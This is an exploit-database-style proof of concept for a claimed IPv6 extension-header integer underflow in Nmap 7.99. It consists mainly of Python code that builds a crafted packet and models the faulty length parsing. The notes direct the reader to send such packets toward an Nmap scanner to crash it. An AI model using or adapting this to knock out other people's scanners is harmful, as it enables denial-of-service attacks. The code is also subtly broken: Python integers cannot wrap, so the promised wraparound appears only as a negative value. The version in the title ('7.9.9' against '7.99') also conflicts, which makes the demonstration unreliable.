Nmap 7.9.9 Extension Header Integer Underflow

# Exploit Title:         Nmap  7.99  - Extension Header Integer Underflow  
    # CVE:                   CVE-2026-58058
    # Date:                  2026-06-29
    # Exploit Author:        Mohammed Idrees Banyamer
    # Author Country:        Jordan
    # Instagram:             @banyamer_security
    # Author GitHub:         https://github.com/mbanyamer
    # Author Blog  :         https://banyamersecurity.com/blog/
    # Vendor Homepage:       https://nmap.org
    # Software Link:         https://nmap.org/download
    # Affected:              Nmap <= 7.99
    # Tested on:             Nmap 7.99 (raw IPv6 scans)
    # Category:              Remote Denial of Service
    # Platform:              Linux / Windows / macOS
    # Exploit Type:          Proof of Concept
    # CVSS:                  6.9
    # Description:           Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash.
    # Fixed in:              Nmap commit bb6754e (post-7.99)
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #
    # Options:
    #   --
    #
    # Notes:
    #   • This is a standalone parser + packet model PoC.
    #   • For real triggering, craft and send IPv6 packets toward an Nmap scanner.
    #
    # How to Use
    #
    # Step 1:
    #   Save as exploit.py and run with Python 3.
    #
    # Step 2:
    #   Observe the length wraparound that would cause Nmap to misbehave.
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    def is_extension(hdr):
        return hdr in [0, 43, 44, 60]
    
    def is_upper(hdr):
        return hdr in [6, 17, 58, 132]
    
    def parse_ipv6_payload(packet, upper_only=True):
        if len(packet) < 40:
            return None, None, None
    
        nxt = packet[6]
        p = 40
        end = len(packet)
    
        while p < end and is_extension(nxt):
            if p + 2 > end:
                return None, None, None
            nxt = packet[p]
            ext_len = packet[p + 1]
            p += (ext_len + 1) * 8
    
        payload_len = end - p
        if upper_only and not is_upper(nxt):
            return None, None, None
    
        return p, nxt, payload_len
    
    def main():
        banner()
    
        # Crafted packet (48 bytes)
        packet = bytearray(48)
        packet[0] = 0x60
        packet[4] = 0x00
        packet[5] = 0x08   # IPv6 payload length = 8
        packet[6] = 0      # Next Header = Hop-by-Hop
        packet[40] = 17    # Extension next = UDP
        packet[41] = 1     # Extension length field = 1
    
        captured_len = len(packet)
        payload_offset, next_header, payload_len = parse_ipv6_payload(packet)
    
        print("helper_returned =", "true" if payload_offset is not None else "false")
        print("next_header =", next_header)
        print("payload_offset =", payload_offset)
        print("wrapped_payload_len =", payload_len)
    
        # Downstream length adjustment model
        ip_payload_len = (packet[4] << 8) | packet[5]
        validator_len = captured_len
        if payload_len > ip_payload_len:
            validator_len -= payload_len - ip_payload_len
    
        print("validator_len_after_adjust =", validator_len)
        print("captured_len =", captured_len)
    
    if __name__ == "__main__":
        main()